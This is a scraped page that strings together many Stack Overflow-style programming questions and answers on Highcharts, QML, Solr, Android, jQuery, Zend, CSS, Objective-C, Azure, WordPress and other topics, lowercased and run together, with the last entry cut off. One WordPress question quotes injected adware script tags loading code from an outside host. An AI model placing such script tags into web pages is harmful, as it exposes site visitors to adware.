Posts

Showing posts from September, 2010

Accessing next Elements Name in Highcharts Tooltip -

how can next elements name in highcharts for example series: [{ name: 'weight', data: [50, 48, 80, 70]}, { name: 'height',data: [5.8, 5.1, 6.1, 6.0]} ] tooltip: { formatter: function(){ return this.series.name;//i want return here next elements name there way } } in above tooltip iam returning current element name, there way immediate next elements name there..? you can use shared tooltip, take look: http://api.highcharts.com/highcharts#tooltip.shared

qt - Get meta data from delegated files using QML -

i'm creating music player ubuntu touch in qml , have things appreciate since i'm new qml. i have list of tracks directory, want show meta data (artist, track name, year, album , on) instead of filename. using qt.multimedia able meta data playing track, can't find how per file folderlistmodel delegated files. how that? this current code: column { anchors.centerin: parent anchors.fill: parent listview { id: musicfolder folderlistmodel { id: foldermodel folder: musicdir showdirs: false namefilters: ["*.ogg","*.mp3","*.oga","*.wav"] } width: parent.width height: parent.height model: foldermodel delegate: listitem.subtitled {

java - Autocomplete using Solr & Spring - issue with multiple words -

i have indexed database of locations using spring data solr. have following fields: <field name="id" type="string" indexed="true" stored="true" required="true" multivalued="false" /> <field name="name" type="text_ws" indexed="true" stored="true"/> <field name="autocomplete" type="lowercase" indexed="true" stored="false"/> i trying implement autocomplete feature. ajax call handled controller calls repository with: list<poisearch> findbyautocompletestartingwith(string autocomplete, pageable pageable); this works fine search "california" or "los". when try multiple words "los ang" exception: severe: servlet.service() servlet [spring-mvc] in context path [/xxx] threw exception [request processing failed; nested exception org.springframework.dao.invaliddataaccessapius

How to create a custom-shaped bitmap marker with Android map API v2 -

Image
this question has answer here: how can create speech-bubble border google marker custom icon using picasso? 1 answer i developing android application i'm using google map api v2. need show user location on map custom markers. each marker show picture of user url. image must downloaded in asynchronous mode server. see attached screenshot example. how add image , custom information in marker? in google maps api v2 demo there markerdemoactivity class in can see how custom image set googlemap. // uses custom icon. msydney = mmap.addmarker(new markeroptions() .position(sydney) .title("sydney") .snippet("population: 4,627,300") .icon(bitmapdescriptorfactory.fromresource(r.drawable.arrow))); as replaces marker image might want use canvas draw more complex , fancier stuff: bitmap.config conf = bitmap.config.argb

javascript - split string in two on given index and return both parts -

i have string need split on given index , return both parts, seperated comma. example: string: 8211 = 8,211 98700 = 98,700 so need able split string on given index , return both halves of string. built in methods seem perform split return 1 part of split. string.slice return extracted part of string. string.split allows split on character not index string.substring need returns substring string.substr similar - still returns substring try function splitvalue(value, index) { return value.substring(0, index) + "," + value.substring(index); } console.log(splitvalue("3123124", 2));

audio - Android Musicplayer play same sound more than one at atime -

private mediaplayer mpintro; mpintro = mediaplayer.create(this, r.raw.bgmusic); mpintro.setlooping(true); mpintro.start(); these mediaplayer code plays in app background continuously, altough ı have small problem that. when app in background or close (without force close) still plays sound, launch again plays twice , everytime more. how can stop or pause , 1 sound? ps:i not want sound file in app apk, how can call folder? in main activity handle example override onpause(), onstop() methods. if develop in eclipse, push right mousebutton-->source-->override/implement methods. here choose onpause() or onstop() method , added code: @override protected void onpause(){ if(mpintro!=null){ mpintro.stop(); } super.onpause(); } same onstop(). depends on want. if want stop mediaplayer, should work. if want pause player, play again if resume app, call: @override protected void onpause(){ if(mp

iframe - Keep listening for jquery keydown events regardless of focus -

the situation i building basic slide deck in html, css & javascript. based on jquery cycle plugin. slides simple li items contain either images, text or iframes (e.g. youtube, or webpage i.e not pages live on domain/have control over). have next , previous buttons working jquery keydown working well, user not have use mouse move through slides the problem when have keyed through li contains iframe, if user clicks iframe focus shifted iframe (as you'd expect) , in order move next slide have refocus onto next or previous buttons mouse click. there anyway keep page listening keydown events in parent regardless of focus within page is? also if possible it great if there solution involved automatically bringing iframe focus (as maintaining next/prev mentioned) when slide active example use space bar play/pause youtube video , click left move next slide. want not have use mouse if not necessary. key press code below (you'd need cycle plugin & of code deck wo

zend framework - Zend_DB subselect / subquery how to? -

i have raw sql statement trying execute through zend_db. $sql = 'select relocationaction.id, relocationaction.vehicle, relocationaction.start, relocationaction.end, relocationaction.return ' . 'from relocationaction, (select vehicle, max(end) maxend relocationaction group vehicle) co2 co2.vehicle = relocationaction.vehicle and(relocationaction.monitor = 1) , (relocationaction.return null) , (start <= ?) , relocationaction.end = co2.maxend'; i have found possible solution using type of notation, rendered totally different , wrong sql statement joins , strange table names. $tbl = $this->getdbtable(); $select = $tbl->select()->setintegritycheck(false); $subselect = $select->from('relocationaction', array('vehicle', 'maxend' => 'max(relocationaction.end)')) ->group(

css - Why does fixed positioning alter the width of an element? -

i have <div> has width set 100% . when add position:fixed it, width becomes 16px larger. i noticed on body, there 8px margins on sides, guessing position:fixed somehow ignoring margins of body tag in contained. i looked @ mdn reference unable find explains going on. what has position:fixed changed <div> causes behavior? example: http://jsfiddle.net/upexv/ the body automatically has margin of 8px . when set width of element 100% , becomes width of body, less 8px on both sides. but when give element position:fixed , no longer set relative body viewport, doesn't have margins. width width of viewport, 2 * 8px wider - 16px observe. here's w3 documentation on subject : whereas position , dimensions of element position:absolute relative containing block, position , dimensions of element position:fixed relative initial containing block. viewport: browser window or paper’s page box.

objective c - EXC_BAD_ACCESS when using weakSelf in block / blocks -

i have been struggeling issue while since don't think understand retain cycles. totally new , i'm trying learn more it. i getting exc_bad_access message following code. i started using weakself because 2 warnings retain cycle if use self.successblock();. exact warning is: capturing 'self' in block lead retain cycle maybe shouldn't bother using weak no sure this. this part use weakself in block: __weak request *weakself = self; [_operation setcompletionblockwithsuccess:^(afhttprequestoperation *operation, id responseobject) { weakself.successblock(operation.response, responseobject); } failure:^(afhttprequestoperation *operation, nserror *error) { weakself.failureblock(operation.response, error); }]; this how assign block properties: typedef void (^successblock)(nshttpurlresponse *response, id responseobject); typedef void (^failureblock)(nshttpurlresponse *response, nserror *error); @property (nonatomic, copy) successblock successblock;

cout doesn't print string in C++ (include<iostream>, inlcude<string>, and flush all present) -

hi thank , let me try make simple :) my code: there array in class "table" hold newly added book (struct); add put in 1 next 1 in array; search can use isbn, title or author, variables in book (struct); print supposed cout info of book problem: print cant print string (variable in book string) may not problem: insert,add...this kind of function should work because when search book, shows "book found" #include<iostream> #include<string> using namespace std; struct book { string isbn; string title; string author; string date; }; class table { public: //member constant static const size_t capacity = 30; //constructor table() {used = 0;} //modification bool insert(book entry); //constant size_t hash_isbn(string target_isbn); size_t hash_title(string target_title); size_t hash_author(string target_author);

sublimetext2 - Print to Sublimetext Status bar in Python? -

in sublimetext 2, uses python plugins. trying enhance existing plugin found. basically timer plugin has start , stop , pause functionality , print times status bar using sublimetext api call... sublime.status_message(timer) what show in status bar show timer in fact started , running. this... sublime.status_message('timer: on') the problem briefly shows status bar message few seconds before being dismissed. so looking information on how print status bar , keep there long term? you can use view.set_status(key, value) place persisting message in status bar. however, bound view, not application. if need message independent of view, have work using activated , deactivated listeners. alternatively, can set status on views in window using window.views() array of views in window, , place status message on of views. then, when done, remove of status messages.

javascript - Store jQuery objects in an array/object -

i want create js array contains jquery objects this: var oformfields = new object; oformfields.label = $(document.createelement('label')); oformfields.input = $(document.createelement('input')); since crashes code, expect not possible. alternatives? simplified version, want include other properties i'm able re-use in code when building dynamic forms. edit: seemed did work after all... wanted do, this: var oformfields = new object; oformfields.name_field.label = $(document.createelement('label')).addclass('nam_field'); oformfields.name_field.input = $(document.createelement('input')).addclass('nam_field'); this break code. i'm pretty new jquery, coming php background i'm having troubles adjusting correct way work arrays / objects. just use this: var oformfields = { label: $('<label />'), input: $('<input />') }; you can create element directly using jquery . furthermore

php - load only metadata from html5 video/audio -

at first, i'd ask question. can not load metadata without other video content. preload = "metadata" not working. test on win chrome , don't know how works on safari/ff/ie/opera. can't load 6 , more video clips fast. chrome may keep only 6 opened connections @ similar port/protocol/domain. , if load more 6 videos last videos not start load while first 6 videos fully complete loading. does jsfiddle need? can create think not necessary. example. html: 10 html5 <video> each around 100mb , preload=metadata attribute. js (using jquery clearness): $('video').on('loadedmetadata',function(){ console.log(this.duration); }).each(function(i){ this.load(); }); then open “network” tab in chrome dev tools , reload page. 6 videos start load , load full content while other 4 videos wait (pending) mark. @ first, in console appear 6 messages. new messages appear after load first videos. i tried lot of things each 1 has fall. thing getting

ajax - easyxdm Put giving a 400 Bad request Error -

i'm facing problem put request when using easyxdm. other operations such post, delete works fine. placing data in query string. tried following post: easyxdm put places data in query string after changing code sending data in request payload data not formed, leading bad request. putjson = function (url, request, success_callback, error_callback, custom_headers) { if (typeof (custom_headers) == "undefined") { custom_headers = {}; }; //custom_headers.accept = "application/json"; this.rpcsocket.request({ url: url, method: "put", datatype: 'json', headers: { "content-type": "application/json"}, data: request }, function (response) { success_callback(response); }, function (error_response) { if (_.isundefined(error_callback) || !_.isfunction(error_callback)) {

Ajax Call + ASP.NET + .NET Remoting -

so, have strange situation occurring in web system. i have implementation of windows service, starts .net remoting server , stay waiting calls of various clients. at other side, have asp.net web-forms application, can call methods in service, using .net remoting structure. in page, have button, button call ajax call, , ajax call, execute async method @ asp.net web-forms application. everything works fine. but, @ complete ajax call, have second async call. after complete first ajax call, second executes ok, not immediately, 3 or 4 seconds after. it occurs when site published in iis, in visual studio (localhost), not happened. i can configurate service (server) tcp or icp, send data in binary mode... configuration, problem happened. for months found same question in many forums , sites , have answer. in truth, problem not in ajax call or multiple ajax calls. problem happened because there problem between thread pool of .net remoting , iis thread pool. this

getting FATAL EXCEPTION in MAIN when doing a callback,asyntask android -

Image
after reading on android asynctask sending callbacks ui goal : dialog box show when waiting authentication server , long process done, call invoked , dialog box dismissed. my structure ( asyntask , log in activity separated classes ) log in activity class extends aysnctask a call interface. partial of codes : public class spalshscreenactivity extends activity implements logincallback{ @override public void onwindowfocuschanged(boolean hasfocus) { super.onwindowfocuschanged(hasfocus); if (hasfocus) { loginbutton = (button) findviewbyid(r.id.btnlogin); loginbutton.setbackgrounddrawable(getresources() .getdrawable(r.drawable.button)); loginbutton .setonclicklistener(new view.onclicklistener() { @override public void onclick(view v) { dialog = new progressdialog(spalshscreenactivity.this); dialog.setmessage("waiting.

sql server 2012 - New database or index key for each client? -

we building web application using asp.net , microsoft sql server 2012. each of our customer have ability add other customers below them. our company --> our customers ---> customer's customers is preferable create new database each of our customer or use seperate table , automatically apply key filter in gui? from have described (briefly) not suggest having separate db each client. if each client getting own application/website, yes, may want have each client have own instance of db (as application, server, etc). in case, seems each client need interact 1 another. difficult if located in various databases. instead, creating normalized database schema uses recursive table customers. can create schema similar this: tblourcompany companyid(pk int) companyname(varchar) .... tblourcustomers custid(pk int) custname(varchar) custparent(int) tblcompany_customer companyid(pk) customerid(pk) this quick mock table has company table (assumin

datetime - rounding times to the nearest hour in R -

this question has answer here: round posix date , time (posixct) date relative timezone 1 answer i have data in format time <- c("16:53", "10:57", "11:58") etc i create new column each of these times rounded nearest hour. cannot seem posix command work me. as.character(format(data2$time, "%h:%m")) error in format.default(structure(as.character(x), names = names(x), dim = dim(x), : invalid 'trim' argument let alone use round command. can advise? ## example times x <- c("16:53", "10:57", "11:58") ## posix*t objects need both date , time specified ## here, particular date doesn't matter -- there one. tt <- strptime(paste("2001-01-01", x), format="%y-%m-%d %h:%m") ## use round.date round, format format format(round(tt, units=&quo

how to map same value to two different fields in jaxb while marshalling and unmarshalling -

i have xml tag hello there field below in java class helloworld{ @xmlelement private string name; } while unmarshalling assigns hello value name variable.now want create new xml java object(helloworld) doing marshalling in case want xml tag instead of in xml. how can acheive in jaxb? both xml not in control cannot change tag name edit: incoming xml - helloworld.xml <helloworld> <name>hello</name> </helloworld> @xmlrootelement(name="helloworld) class helloworld{ @xmlelement(name="name") private string name; // setter , getter name } jaxbcontext context = jaxbcontext.newinstance(helloworld.class); unmarshaller un = conext.createunmarshaller un(); helloworld hw = un.unmarshal(new file("helloworld.xml")); system.out.println(hw.getname()); // print hello <name> tag mapped name variable. now want use hw object of helloworld object create xml belo

cocoa - ValidateMenuItem is not getting called for NSMenuItem -

here sample class , usage: @interface ccocoamenuitem : nsmenuitem { someclass *someobj; } - (void)menueventhandler:(id)target; - (void)setenableitem:(bool)nenabled; @end @implementation ccocoamenuitem - (bool)validatemenuitem:(nsmenuitem *)item { // return yes or no based on conditions; // method not getting called } @end ccocoamenuitem *dummyitem = [[ccocoamenuitem allocwithzone:[nsmenu menuzone]] initwithtitle:(nsstring*)astr action:nil keyequivalent:@""] autorelease]; [dummyitem setaction:@selector(menueventhandler:)]; [dummyitem settarget:dummyitem]; here validatemenuitem not getting called. have set action , target. target class object , have defined validatemenuitem in class only. is there missing here? in code you've posted, ccocoamenuitem declares menueventhandler: method in @interface , doesn't implement it. menu items aren't validated if target doesn't respond selector you've set action (such menu items disa

python - Flask - Getting request parameters in Google App Engine? -

i'm running flask on app engine , i'm having trouble getting request parameters of issued request. here's function being called: @app.route('/some_model/new', methods = ['put']) def new_some_model(): prop1 = request.args.get('prop1') prop2 = request.args.get('prop2') import logging logging.error(prop1) logging.error(prop2) and i'm running following command curl: curl -x put -d "prop1=prop1&prop2=prop2" http://myapp.appspot.com/some_function/new i've tried several variations, no success. curl command returns "500 server error" , in app-log see both prop1 , prop2 none @ point of logging. server error came properties being required later on. problem request.args.get() returning nothing. suggestions on might doing wrong? thank much! data sent post or put in request.form , request.args parsed query string data.

Azure insert script not working -

i have 2 tables in azure database , trying add script user can insert data 1 table field every time entered table transactions. tables in different schemas in same database. when row entered in database transactions, need check if user account row in table 'usertable', fetch record usertable , replace data in field 'balance' i have tried following script nothing happens. ideas doing wrong? function insert(item, user, request) { var usertable = tables.gettable('usertable'); var total = item.amount + usertable.balance; var data = { balance: total, }; if(usertable.useraccount === item.useraccount) { usertable.insert(data); } request.execute(); } the usertable object tables.gettable gives reference table object. doesn't have balance or useraccount property you're trying access. need first query usertable, result make updates. script below should similar need. function insert(item, user, request) { var usertable

hadoop - Using Sqoop incremental import as chunk-wise -

is possible import chunk-wise data through sqoop incremental import? say have table rowid 1,2,3..... n (here n 100) , want import chunk. 1st import: 1,2,3.... 20 2nd import: 21,22,23.....40 last import: 81,82,83....100 i have read sqoop job incremental import , know --last-value parameter not know how pass chunk size. above example, chunk size here 20. i ended writing script modify parameter file new clause after each successful sqoop run. i'm running both through oozie coordinator. wanted use --boundary-query doesn't work chunk. that's why had work-around. details of work-around can found here: http://tmusabbir.blogspot.com/2013/05/chunk-data-import-incremental-import-in.html

php - can't sent quantity from catalog to shopping cart -

i have problem in web project (shopping cart). can't send quantity on product order screen shoot web when click 'beli' can't send quantity database. this piece script: <td align="left"> <font face="verdana" size="2" color="#666666"> <select name='jml'> <option value='1'>1</option> <option value='2'>2</option> <option value='3'>3</option> <option value='4'>4</option> <option value='5'>5</option> </select> </font> </td> <td align="center"> <a href="#" title="klik untuk membeli" onclick="konfirm(<? echo $id_produk; ?>)"><img src="./img/beli.jpg" border="0"></a> </td> and php piece script in other file. if($_session['user_id']) { include &q

osx - Remove spaces from filenames in folder -

i have situation need daily go on 400+ files in folder on xsan , replace spaces under-scores in filenames of files. does 1 have script @ hand can run via terminal example me? here go, loops through files (and folders) in current directory: for oldname in * newname=`echo $oldname | sed -e 's/ /_/g'` mv "$oldname" "$newname" done please note overwrite files same name. is, if there 2 files have otherwise identical filenames, 1 has underscore(s) other has space(s). in situation, 1 had underscores overwritten 1 had spaces. longer version skip cases instead: for oldname in * newname=`echo $oldname | sed -e 's/ /_/g'` if [ "$newname" = "$oldname" ] continue fi if [ -e "$newname" ] echo skipping "$oldname", because "$newname" exists else mv "$oldname" "$newname" fi done

CSS Transition not working when input in Javascript -

i read every thread , tried every possible solution , don't know missing! i have div video_container_dc fade in when call in javascript. the css: #video_container_dc { position: absolute; width: 350px; height: 198px; top: 0px; left: 376px; opacity: 0; /*visibility:hidden;*/ /*display:none;*/ } #video_container_dc.expandingvid { -webkit-transition: 2s ease-out 1s; -moz-transition: 2s ease-out 1s; -o-transition: 2s ease-out 1s; -ms-transition: 2s ease-out 1s; transition: 2s ease-out 1s; opacity:1; /*visibility:visible;*/ /*display:block;*/ } the javascript: var expand_content; var vidcontainer; var expandtweens = []; function expand_transition() { expandtweens = []; expand_content.classname = 'expanding'; vidcontainer.classname = 'expandingvid'; } inits = function () { expand_content = document.getelementbyid('expand_content_dc'); vidcontainer = document.getele

c# - Can I use jquery Drop down list instead of ASP.NET -

at moment using asp.net drop down list, having problem post backs, wondering if use jquery select menu instead, not sure how though, guide please, here's asp.net drop down list code, drop down list resets here plugin want use, http://www.bulgaria-web-developers.com/projects/javascript/selectbox/index.php?country_id=5&city_id=&vehicle_id=&language= only thing confused is, how can populate jquery select menu using sql datasource. so essentially, need way information server client. there 2 ways can this. use ajax call pull in information. of course, in case, need create endpoint ajax hit. var yourlist; $.post("getdataservice.svc", function (returndata) { yourlist = returndata; }); save server object javascript object using asp tags. <script type="text/javascript"> var yourlist = "<%=this.getdata() %>"; </script>

XML Data not showing up in HTML file -

i have xml file titled "xmldata.xml" located in same folder index.html file. have code display xml data on html page not working. ideas? <script> if (window.xmlhttprequest) {// code ie7+, firefox, chrome, opera, safari xmlhttp=new xmlhttprequest(); } else {// code ie6, ie5 xmlhttp=new activexobject("microsoft.xmlhttp"); } xmlhttp.open("get","xmldata.xml",false); xmlhttp.send(); xmldoc=xmlhttp.responsexml; document.write("<table border='1'>"); var x=xmldoc.getelementsbytagname("company"); (i=0;i<x.length;i++) { document.write("<tr><td>"); document.write(x[i].getelementsbytagname("c_id")[0].childnodes[0].nodevalue); document.write("</td><td>"); document.write(x[i].getelementsbytagname("c_name")[0].childnodes[0].nodevalue); document.write("</td></tr>"); } document.write("</tab

R: Interpreting results from ANOVA and TukeyHSD analyses -

i have run anova , tukeyhsd on dataframe containing anatomical regions in column 1 (region) , gene expression values in column 2 (s1). expect p-value aov summary expressed pr(>f) , i'm little fuzzy on results i've obtained. also, can me understand tukey multiple comparisons of means results? i'm not totally clear on diff , p adj results indicate. results shown here abridged version of i'm working with, fyi. > aov.result = aov(s1 ~ region, data=raw.data) > summary(aov.result) df sum sq mean sq f value pr(>f) region 60 61.713 1.02856 5.9246 < 2.2e-16 *** residuals 655 113.712 0.17361 --- signif. codes: 0 ‘***’ 0.001 ‘**’ 0.01 ‘*’ 0.05 ‘.’ 0.1 ‘ ’ 1 > tukeyhsd(aov.result) tukey multiple comparisons of means 95% family-wise confidence level fit: aov(formula = s1 ~ region, data = raw.data) $region diff lwr upr p adj ab-aa 0.4118651583 -2.8

html - jquery lightbox won't work in css3 based website -

i attempting use css-based website template re-build portfolio site. here url: http://www.annasportfolio.com/iindex.html i have been unsuccessful @ adding image gallery second section (design). isn't lining up, don't know what. conflict of jquery? my head code: <script type="text/javascript" src="jqgalscroll.js"></script> <script type="text/javascript">$(document).ready(function(){$("#demoone").jqgalscroll();}); </script> <link rel="shortcut icon" href="../favicon.ico" /> <link href="http://fonts.googleapis.com/css?family=josefin+slab:400,700" rel="stylesheet" type="text/css" /> <link rel="stylesheet" type="text/css" href="demo.css" /> <link rel="stylesheet" type="text/css" href="style.css" /> <script type="text/javascript" src="modernizr.cust

translation - No strings available. when translating a menu item in drupal -

i'm trying translate menu items in drupal, when go translate interface , type menu item in, "no strings available." only hard coded strings available string translation, in order translate menu item defined in menu, need i18n.

wordpress - From where <div id="__tbSetup"> </div> code come from -

i use wirdoress. today when open pages content see contains <div id="__tbsetup"> </div> code come from. of pages contain <p> <script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&amp;pid=1032&amp;zoneid=62862"></script><br /> <br /> <script type="text/javascript" src="https://secure-content-delivery.com/data.js.php?i={4dceee00-436f-4341-aa82-349b2c73f9d8}&amp;d=2013-5-4&amp;s=http://mydomain.com/wp-admin/post-new.php?post_type=page"></script></p> <script type="text/javascript" src="https://secure-content-delivery.com/data.js.php?i={4dceee00-436f-4341-aa82-349b2c73f9d8}&amp;d=2013-5-4&amp;s=http://mydomain.com/wp-admin/post-new.php?post_type=page"></script></p> the above script functionality of adware, appends above url ( secure-content-delivery.com/so

smartcard - SCardEstablishContext not setting context pointer -

i calling winscard.dll methods c# , has been working fine in test app. having difficulty establishing context when moving code larger project. my call establish context follows: [dllimport("winscard.dll")] public static extern int scardestablishcontext(int scope, int res1, int res2, ref int pntcontext); in test app when call pntcontext variable appears set properly. but, in new project not getting set. strangely enough return code still 0 (success). so, i'm wondering circumstances cause this, or other things doing wrong? any ideas appreciated. the problem appears cause driver / architecture issue. for me there 2 projects involved (api , client). to solve problem changed "cpu type" (project properties->build) cpu.

ios - Need assistance regarding UIActionSheet -

i trying add uisegmentcontroller uiactionsheet here code uiactionsheet *actionsheet = [[uiactionsheet alloc]initwithtitle:nil delegate:self cancelbuttontitle:@"cancel" destructivebuttontitle:nil otherbuttontitles:@"copy", @"new key", nil]; nsarray *keylengthoptions = [nsarray arraywithobjects:@"option 1", @"option 2", nil]; uisegmentedcontrol *segmentcontroller = [[uisegmentedcontrol alloc]initwithitems:keylengthoptions]; segmentcontroller.frame = cgrectmake(35, 0, 250, 38); [segmentcontroller addtarget:self action:@selector(segmentvaluechanged:) forcontrolevents:uicontroleventvaluechanged]; [segmentcontroller setsegmentedcontrolstyle:uisegmentedcontrolstylebar]; [actionsheet addsubview:segmentcontroller]; [actionsheet setframe:cgrectmake(0, 0, 320, 500)]; [actionsheet showinview:self.navigationcontroller.tabbarcontroller.view]; every thing working fine [actionsheet setframe:cgrectmake(0, 0, 320, 500)]; not working.

OpenStack Grizzly keystoe remove_user command removing ALL users -

i have following code works great in folsom: #remove user each role associated user user_roles = kc.users.list_roles(obj_id, currtenant) role in user_roles: if obj_id == user.id: kc.tenants.remove_user(currtenant, obj_id, role.id) that same code remove users rather user id, obj_id tenant specified. else have issue in grizzly? found answer, it's known issue grizzly code base. https://bugs.launchpad.net/keystone/+bug/1170649 the bug includes suggested fix.

opencv - Junction point in image skeleton -

what meaning of junction point in image skeleton ? using opencv , c++ develop code source detect main local junction point in image .many in advace . a junction point intersection of 2 lines. see image: https://docs.google.com/file/d/0bys6z5wrz-h2u3nbwwz6v3fqeuk/edit?pli=1 skeleton refers (usually) skeletonization of image. article useful: http://en.wikipedia.org/wiki/topological_skeleton . so think asking is, take image find skeleton figure out pixel contain intersection of lines of skeleton. skeletonization in opencv

osx - When can I access the data of my NSDocument during the initialization? -

i need instantiate properties content of saved document. since theses properties used interface, instantiate them before nib loaded. at point of initialization can access data of loaded document ? if possible, access not initfromurl method. indeed, when create document, create data. so, if possible, put instanciation @ 1 point, work both creation , opening of document. so, there accessible point after initfromurl , initwithtype methods before windowcontrollerdidloadnib . thanks ! easy ! -windowcontrollerwillloadnib

Javascript variable not updating value -

this question has answer here: how return response asynchronous call? 21 answers this makinkg me crazy, cant outside variable inside data sorry bad formating i'm writing phone, if can helpme out format appreciate it window.getreasons = function(line) { var $reasons; $reasons = ""; $.get(window.location.protocol + "//" + window.location.host + "/" + "alllinereasons.js?line=" + line, function(returndata) { $reasons = returndata.tostring(); return console.log("t_t ----->" + returndata.tostring()); }, "html"); console.log($reasons); return $reasons; }; the important thing understand $.get() asynchronous default. happening console.log() , return statements follow call get() executing before get() has returned it's value. you might utilize wh

Configuring Fault Contract Exception Handlers in Enterprise Library 6 for WCF -

how map additional properties of exception custom fault contract when using enterprise library 6's exception handling application block? this article describes faultcontractpropertymapping same way this 1 does . if have fault contract so: [datacontract] public class salarycalculationfault { [datamember] public guid faultid { get; set; } [datamember] public string faultmessage { get; set; } } how add property , map original exception? lets want show stored procedure name client using new property: [datamember] public string storedprocedurename { get; set; } i try editing mapping shown on page 90 of "developer's guide microsoft enterprise library-preview.pdf" which can found here not seem work. new mapping looks this: var mappings = new namevaluecollection(); mappings.add("faultid", "{guid}"); mappings.add("faultmessage", "{message}"); mappings.add("storedprocedurename", "{procedure}"

vba - Populate multiple textboxs from openrecordset on Access form -

i trying populate multiple textboxs openrecordset , getting following error run-time error 3601 few parameters. expected 1 here function function fnsearchandpopulate() boolean dim d dao.database, r dao.recordset, strsql string set d = currentdb if me.txtenternumber = "" msgbox "please enter number", , "error" exit function end if strsql = "select * amipartnumbers inner join jdsubs on amipartnumbers.oemitem=jdsubs.oempartnumber " & txtenternumber.value & " in (jdsubs.oempartnumber, jdsubs.oemsubnumber)" set r = d.openrecordset(strsql) if r.eof msgbox "bam # " & me.txtenternumber & " not exist!", , "no bam #" set d = nothing exit function end if 'get here if there record r.movefirst 'populate whatever textboxes me.txtaminumber = r!item me.txtdescription = r!description me.txtoemsubnumber = r!oemsubnumber set d = nothing exit function end function upda

math - Solving Differential equations in Matlab, ode45 -

i'm trying solve system 3 differential equations function ode45 in matlab. not understand errors getting , use understanding im doing wrong. the differential equations following: f1 = -k1y1+k2(y2-y1) f2 = -k2(y2-y1)+k3(y3-y2) f3 = -k3(y3-y2) and code in matlab this: function dz = kopplad(t, z) global m1 m2 m3 k1 k2 k3 dz = [z(2) -k1*z(1)/m1 + k2*(z(2)-z(1))/m1 z(4) -k2*(z(2)-z(1))+k3(z(3)-z(2))/m2 z(6) -k3(z(3)-z(2))/m3]; global m1 m2 m3 k1 k2 k3 m1 = 0.75; m2 = 0.40; m3 = 0.65; k1 = 0.85; k2 = 1.1; k3 = 2.7; [t, z] = ode45(@kopplad, [0, 50], [0 -1 0 1 0 0]); plot(t, z(:,1)) hold on plot(t,z(:,3),'--') plot(t,z(:,5),'*') legend('y_1', 'y_2', 'y_3'); hold off the errors i'm recieving following: attempted access k3(1.00002) ; index must positive integer or logical. error in kopplad (line 3) dz = [z(2) error in ode45 (line 262) f(:,2) = feval(odefcn,t+ha(1),y+f*hb(:,1),odeargs{:}); error in diffek

javascript - DOM Events - Progress Indicator for Iframe location change -

i looking solution show progress indicator when iframe page changes, but prior iframe loading completely . there 100's of pages on stackoverflow going on differences between jquery ready(), javascript window.load, document.load, domcontentready, on('pageinit'...) , after reading differences on these various techniques i'm bit stuck on how accomplish trapping event within iframe. so far have succeeded in capturing when iframe has changed once dom built. able detect when page load have sort of indicator/spinner in header. this have far (capturing iframe change on onload): ..... <iframe id="rssid" src="http://feeds.reuters.com/reuters/oddlyenoughnews" onload="blerg()" style="width: 800px; height:600px"/> ...... $(document).on('pageinit','#index', function(){ alert('pageinit'); //gets called on first load }); $(document).on('pageinit','#rssid', function(){ a

android - onPreferenceClick and OnPreferenceClickListener -

i'm attempting evaluate preferences in java code in order enable/disable other options chose not other options... far i'm trying implement onpreferenceclicklistener never see toast changes. doing wrong? there seem alot of other questions cannot see error in reference them. public class usersettingactivity extends preferenceactivity implements onpreferenceclicklistener{ sharedpreferences mpreferences; boolean frequency; @override public void oncreate(bundle savedinstancestate) { super.oncreate(savedinstancestate); addpreferencesfromresource(r.xml.settings); } @override public boolean onpreferenceclick(preference preference) { mpreferences = preferencemanager.getdefaultsharedpreferences(this); frequency = mpreferences.getboolean("frequency", true); context context = getapplicationcontext(); toast.maketext(context, "hello toast 0!", toast.length_long).show(); if (!fre

tar creates a duplicate within itself. using exec( ) -

discovered when creating tar.gz file using php's exec(). file within unzipped version called 'p'. can uncompressed , contains same files parent, not contain copy of itself. found happens when running same command command line. here command... tar -czf /targetdir/backup.tar.gz * i'm running under osx 10.8.2. osx pictures folder in user's directory (and other 'special folders') causes issue. marc b getting me @ folder again. try same command in user created folder , work fine.

javascript - trying to find if title contains word then hide that parent element -

var search_input = $('#input_search'); var search_console = search_input.val(); var header_console = $('.header'); $('#enter_console').click(function() { var bodies = $('.reviews'); for(var i=0;i<bodies.length;i++){ var bodies = bodies[i]; if($(bodies).find(header_console).filter(':contains("+search_console+")')) { bodies[i].hide(); } } }); i trying find if bodies has word user types in in input. if bodies has word hide rest of elements except it. can me??? basic html looks like <div id="2343" class="reviews"> <h2>animal crossing: city folk</h2><h3 class="header">wii</h3> <p>8/10</p> <img src="http://i1231.photobucket.com/albums/ee512/rukiafan23/1_zpsdab192dc.jpg" alt="{title}"> <a href="http://www.wiiwarewave.

javascript - How can I show url of current page inside a text input for user to copy? -

i'm trying achieve similar youtube has when press share button can see url of current page inside sort of text input , copy etc. how can done jquery? i think window.location.href suffice. edit: other have said: $('#inputid').val(window.location); kudos other guys got right before did.

Is the advantage of calling ensureindex in mongodb just speed? -

i've been reading ensureindex ( mongodb: when call ensureindex? ) , ( pymongo / mongodb: create index or ensure index? ) , mongodb documentation, havent come conclusion use of ensureindex. doesnt mongodb create id every document? why need index? in case have document this: { "name": "jon secada", "date of birth": "09-19-1983", "address": "1 chemin des loges", "city": "versailles" } whats advantage of calling ensureindex on "name" example? you gain more efficient searches on fields choose @ cost of additional memory , disk space consumed.

mySQL inner join table IF needed -

hey have following query: select ua.fname, ua.lname, ua.title, ua.accdate, ua.address1, ua.address2, ua.city, ua.state, ua.zip, ua.email, ua.phone, labcasenum, speccasenum, deadlinedate, casedetail, au.fname authname, au.lname, au.phone, au.email, au.role useraccount ua inner join usercase uc on ua.accnum = uc.userlink inner join authperson au on uc.casenum = au.usercase uc.casenum = 7903579800; which works fine if there data in au table . however, no records return if there none in au table even though there's data in uc , ua tables had. how can format query above ignore au table if there no data gathered? did try using left join on table: select ua.fname, ua.lname, ua.title, ua.accdate, ua.address1, ua.address2, ua.city, ua.state, ua.zip, ua.email, ua.phone, labcasenum, speccasenum, deadlinedate, casedetail, au.fname authname, au.lname, au.phone, au.email, au.role useraccount ua inner join usercase uc on ua.accnum = uc.userlink le

Add custom events to website user's google calendar using calendar api -

i envision user visiting mobile website (not app), finding important event associated date, being asked if want sync date/event google calendar, saying yes, , website depositing event google calendar. their many events, , based on user input, wouldn't work sync calendar theirs. have insert custom date/event calendar track it. hopefully makes sense. haven't seen on web i'm sure exists. thanks, s take @ google calendar event publisher guide . sounds meet needs.

pdf - Opening new tabs in Chrome using Watir causes problems using open tabs -

